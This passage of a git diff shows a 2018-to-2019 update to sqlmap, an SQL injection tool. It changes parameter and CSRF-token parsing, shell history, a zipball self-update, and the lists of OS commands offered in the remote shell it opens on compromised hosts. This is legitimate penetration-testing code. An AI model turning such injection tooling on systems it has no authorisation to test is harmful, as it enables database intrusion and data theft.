MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 @@ -653,7 +675,7 @@ CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") @@ -665,7 +687,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' @@ -740,7 +762,7 @@ NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens -CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { @@ -778,9 +800,9 @@ background-color: #D3DFEE } td{ - font-size:10px; + font-size:12px; } th{ - font-size:10px; + font-size:12px; } """ diff --git a/lib/core/shell.py b/lib/core/shell.py index b6c200755a4..6cf7640b335 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -53,28 +53,33 @@ def clearHistory(): readline.clear_history() def saveHistory(completion=None): - if not readlineAvailable(): - return - - if completion == AUTOCOMPLETE_TYPE.SQL: - historyPath = paths.SQL_SHELL_HISTORY - elif completion == AUTOCOMPLETE_TYPE.OS: - historyPath = paths.OS_SHELL_HISTORY - else: - historyPath = paths.SQLMAP_SHELL_HISTORY - try: - with open(historyPath, "w+"): + if not readlineAvailable(): + return + + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.API: + historyPath = paths.API_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY + + try: + with open(historyPath, "w+"): + pass + except: pass - except: - pass - readline.set_history_length(MAX_HISTORY_LENGTH) - try: - readline.write_history_file(historyPath) - except IOError, msg: - warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) - logger.warn(warnMsg) + readline.set_history_length(MAX_HISTORY_LENGTH) + try: + readline.write_history_file(historyPath) + except IOError, msg: + warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) + logger.warn(warnMsg) + except KeyboardInterrupt: + pass def loadHistory(completion=None): if not readlineAvailable(): @@ -86,6 +91,8 @@ def loadHistory(completion=None): historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.API: + historyPath = paths.API_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY @@ -104,20 +111,20 @@ def autoCompletion(completion=None, os=None, commands=None): if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ - "copy": None, "del": None, "dir": None, - "echo": None, "md": None, "mem": None, - "move": None, "net": None, "netstat -na": None, - "ver": None, "xcopy": None, "whoami": None, - }) + "copy": None, "del": None, "dir": None, + "echo": None, "md": None, "mem": None, + "move": None, "net": None, "netstat -na": None, + "ver": None, "xcopy": None, "whoami": None, + }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ - "cp": None, "rm": None, "ls": None, - "echo": None, "mkdir": None, "free": None, - "mv": None, "ifconfig": None, "netstat -natu": None, - "pwd": None, "uname": None, "id": None, - }) + "cp": None, "rm": None, "ls": None, + "echo": None, "mkdir": None, "free": None, + "mv": None, "ifconfig": None, "netstat -natu": None, + "pwd": None, "uname": None, "id": None, + }) readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index e82f172cd17..b6fc19cfde4 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,14 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import errno import os import subprocess -import sys import time from lib.core.settings import IS_WIN @@ -24,11 +23,6 @@ import select import fcntl - if (sys.hexversion >> 16) >= 0x202: - FCNTL = fcntl - else: - import FCNTL - def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor diff --git a/lib/core/target.py b/lib/core/target.py index 146f3de4737..af20a002725 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import codecs import functools import os import re @@ -45,6 +44,7 @@ from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingPrivileges +from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.option import _setDBMS @@ -52,9 +52,11 @@ from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX +from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX @@ -83,6 +85,7 @@ def _setRequestParams(): conf.parameters[None] = "direct connection" return + hintNames = [] testableParameters = False # Perform checks on GET parameters @@ -101,7 +104,6 @@ def _setRequestParams(): if conf.data is not None: conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method - hintNames = [] def process(match, repl): retVal = match.group(0) @@ -142,14 +144,14 @@ def process(match, repl): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".+?)"(?%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) if match and not (conf.testParameter and match.group("name") not in conf.testParameter): _ = match.group(2) - _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _) - _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _) + _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) kb.postHint = POST_HINT.JSON @@ -230,9 +232,9 @@ def process(match, repl): if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found conf.parameters[PLACE.POST] = conf.data - kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks + kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks - if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"): + if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): warnMsg = "you've provided target URL without any GET " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " @@ -344,7 +346,7 @@ def process(match, repl): # Url encoding of the header values should be avoided # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value - if httpHeader.title() == HTTP_HEADER.USER_AGENT: + if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper(): conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) @@ -353,7 +355,7 @@ def process(match, repl): conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} testableParameters = True - elif httpHeader.title() == HTTP_HEADER.REFERER: + elif httpHeader.upper() == HTTP_HEADER.REFERER.upper(): conf.parameters[PLACE.REFERER] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) @@ -362,7 +364,7 @@ def process(match, repl): conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} testableParameters = True - elif httpHeader.title() == HTTP_HEADER.HOST: + elif httpHeader.upper() == HTTP_HEADER.HOST.upper(): conf.parameters[PLACE.HOST] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) @@ -377,7 +379,7 @@ def process(match, repl): if condition: conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} - conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders] + conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders] testableParameters = True if not conf.parameters: @@ -391,8 +393,8 @@ def process(match, repl): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}): - errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): + errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) else: @@ -406,7 +408,10 @@ def process(match, repl): message += "Do you want sqlmap to automatically update it in further requests? [y/N] " if readInput(message, default='N', boolean=True): - conf.csrfToken = getUnicode(parameter) + class _(unicode): + pass + conf.csrfToken = _(re.escape(getUnicode(parameter))) + conf.csrfToken._original = getUnicode(parameter) break def _setHashDB(): @@ -449,13 +454,10 @@ def _resumeHashDBValues(): conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: - if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ - injection.parameter in conf.paramDict[injection.place]: - + if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: if not conf.tech or intersect(conf.tech, injection.data.keys()): if intersect(conf.tech, injection.data.keys()): injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech) - if injection not in kb.injections: kb.injections.append(injection) @@ -470,7 +472,13 @@ def _resumeDBMS(): value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: - return + if conf.offline: + errMsg = "unable to continue in offline mode " + errMsg += "because of lack of usable " + errMsg += "session data" + raise SqlmapNoneDataException(errMsg) + else: + return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] @@ -574,14 +582,14 @@ def _createFilesDir(): Create the file directory. """ - if not conf.rFile: + if not conf.fileRead: return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): try: - os.makedirs(conf.filePath, 0755) + os.makedirs(conf.filePath) except OSError, ex: tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") warnMsg = "unable to create files directory " @@ -603,7 +611,7 @@ def _createDumpDir(): if not os.path.isdir(conf.dumpPath): try: - os.makedirs(conf.dumpPath, 0755) + os.makedirs(conf.dumpPath) except OSError, ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " @@ -622,39 +630,41 @@ def _createTargetDirs(): Create the output directory. """ - try: - if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): - os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) + for context in "output", "history": + directory = paths["SQLMAP_%s_PATH" % context.upper()] + try: + if not os.path.isdir(directory): + os.makedirs(directory) - _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr()) - open(_, "w+b").close() - os.remove(_) + _ = os.path.join(directory, randomStr()) + open(_, "w+b").close() + os.remove(_) - if conf.outputDir: - warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH - logger.warn(warnMsg) - except (OSError, IOError), ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - except Exception, _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) + if conf.outputDir and context == "output": + warnMsg = "using '%s' as the %s directory" % (directory, context) + logger.warn(warnMsg) + except (OSError, IOError), ex: + try: + tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) + except Exception, _: + errMsg = "unable to write to the temporary directory ('%s'). " % _ + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + raise SqlmapSystemException(errMsg) - warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the") - warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) + warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warn(warnMsg) - paths.SQLMAP_OUTPUT_PATH = tempDir + paths["SQLMAP_%s_PATH" % context.upper()] = tempDir conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) try: if not os.path.isdir(conf.outputPath): - os.makedirs(conf.outputPath, 0755) + os.makedirs(conf.outputPath) except (OSError, IOError, TypeError), ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") @@ -672,8 +682,10 @@ def _createTargetDirs(): conf.outputPath = tempDir + conf.outputPath = getUnicode(conf.outputPath) + try: - with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f: + with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f: f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) @@ -692,6 +704,13 @@ def _createTargetDirs(): _createFilesDir() _configureDumper() +def _setAuxOptions(): + """ + Setup auxiliary (host-dependent) options + """ + + kb.aliasName = randomStr(seed=hash(conf.hostname or "")) + def _restoreMergedOptions(): """ Restore merged options (command line, configuration file and default values) @@ -738,6 +757,9 @@ class _(unicode): setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) kb.postSpaceToPlus = '+' in original + match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "") + kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR + def setupTargetEnv(): _createTargetDirs() _setRequestParams() @@ -745,3 +767,4 @@ def setupTargetEnv(): _resumeHashDBValues() _setResultsFile() _setAuthCred() + _setAuxOptions() \ No newline at end of file diff --git a/lib/core/testing.py b/lib/core/testing.py index ec53aa1de93..6f8a92a676d 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,6 +17,7 @@ from extra.beep.beep import beep from lib.controller.controller import start +from lib.core.common import checkIntegrity from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getUnicode @@ -51,41 +52,44 @@ def smokeTest(): retVal = True count, length = 0, 0 - for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): - continue - - for filename in files: - if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": - length += 1 - - for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): - continue - - for filename in files: - if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": - path = os.path.join(root, os.path.splitext(filename)[0]) - path = path.replace(paths.SQLMAP_ROOT_PATH, '.') - path = path.replace(os.sep, '.').lstrip('.') - try: - __import__(path) - module = sys.modules[path] - except Exception, msg: - retVal = False - dataToStdout("\r") - errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg) - logger.error(errMsg) - else: - # Run doc tests - # Reference: http://docs.python.org/library/doctest.html - (failure_count, test_count) = doctest.testmod(module) - if failure_count > 0: + if not checkIntegrity(): + retVal = False + else: + for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): + if any(_ in root for _ in ("thirdparty", "extra")): + continue + + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + length += 1 + + for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): + if any(_ in root for _ in ("thirdparty", "extra")): + continue + + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + path = os.path.join(root, os.path.splitext(filename)[0]) + path = path.replace(paths.SQLMAP_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + try: + __import__(path) + module = sys.modules[path] + except Exception, msg: retVal = False - - count += 1 - status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + dataToStdout("\r") + errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg) + logger.error(errMsg) + else: + # Run doc tests + # Reference: http://docs.python.org/library/doctest.html + (failure_count, test_count) = doctest.testmod(module) + if failure_count > 0: + retVal = False + + count += 1 + status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) + dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) clearConsoleLine() if retVal: diff --git a/lib/core/threads.py b/lib/core/threads.py index c1e05cb14a1..9c0de76e2e3 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -92,10 +92,10 @@ def exceptionHandledFunction(threadFunction, silent=False): kb.threadException = True raise except Exception, ex: - if not silent: + if not silent and kb.get("threadContinue"): logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) - if conf.verbose > 1: + if conf.get("verbose") > 1: traceback.print_exc() def setDaemon(thread): @@ -168,6 +168,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio except (KeyboardInterrupt, SqlmapUserQuitException), ex: print + kb.prependFlag = False kb.threadContinue = False kb.threadException = True @@ -188,7 +189,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio kb.threadException = True logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) - if conf.verbose > 1: + if conf.get("verbose") > 1: traceback.print_exc() except: diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 71950f24105..e95378b1575 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index 5544fdbf3d0..814424a37db 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,25 +1,34 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import locale +import glob import os import re +import shutil import subprocess +import sys import time +import urllib +import zipfile from lib.core.common import dataToStdout from lib.core.common import getSafeExString +from lib.core.common import getLatestRevision from lib.core.common import pollProcess +from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.revision import getRevisionNumber from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN +from lib.core.settings import VERSION +from lib.core.settings import ZIPBALL_PAGE +from lib.core.settings import UNICODE_ENCODING def update(): if not conf.updateAll: @@ -28,11 +37,66 @@ def update(): success = False if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): - errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository " - errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')" - logger.error(errMsg) + warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " + warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY + logger.warn(warnMsg) + + if VERSION == getLatestRevision(): + logger.info("already at the latest revision '%s'" % getRevisionNumber()) + return + + message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" + if readInput(message, default='N', boolean=True): + directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) + + try: + open(os.path.join(directory, "sqlmap.py"), "w+b") + except Exception, ex: + errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) + logger.error(errMsg) + else: + attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode + for wildcard in ('*', ".*"): + for _ in glob.glob(os.path.join(directory, wildcard)): + try: + if os.path.isdir(_): + shutil.rmtree(_) + else: + os.remove(_) + except: + pass + + if glob.glob(os.path.join(directory, '*')): + errMsg = "unable to clear the content of directory '%s'" % directory + logger.error(errMsg) + else: + try: + archive = urllib.urlretrieve(ZIPBALL_PAGE)[0] + + with zipfile.ZipFile(archive) as f: + for info in f.infolist(): + info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) + if info.filename: + f.extract(info, directory) + + filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") + if os.path.isfile(filepath): + with open(filepath, "rb") as f: + version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) + logger.info("updated to the latest version '%s#dev'" % version) + success = True + except Exception, ex: + logger.error("update could not be completed ('%s')" % getSafeExString(ex)) + else: + if not success: + logger.error("update could not be completed") + else: + try: + os.chmod(os.path.join(directory, "sqlmap.py"), attrs) + except OSError: + logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) else: - infoMsg = "updating sqlmap to the latest development version from the " + infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" logger.info(infoMsg) @@ -42,7 +106,7 @@ def update(): dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) try: - process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/ + process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) pollProcess(process, True) stdout, stderr = process.communicate() success = not process.returncode @@ -55,7 +119,7 @@ def update(): else: if "Not a git repository" in stderr: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " - errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')" + errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.error(errMsg) else: logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) @@ -68,7 +132,7 @@ def update(): infoMsg += "download the latest snapshot from " infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" else: - infoMsg = "for Linux platform it's required " + infoMsg = "for Linux platform it's recommended " infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" logger.info(infoMsg) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 90d26d4835b..70d93f3338e 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -47,7 +47,7 @@ def adjust(self): errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) @@ -73,7 +73,7 @@ def next(self): errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) except StopIteration: self.adjust() retVal = self.iter.next().rstrip() diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 20d62bab0b0..77ae798f67e 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 776ed35fe79..db86972065e 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for 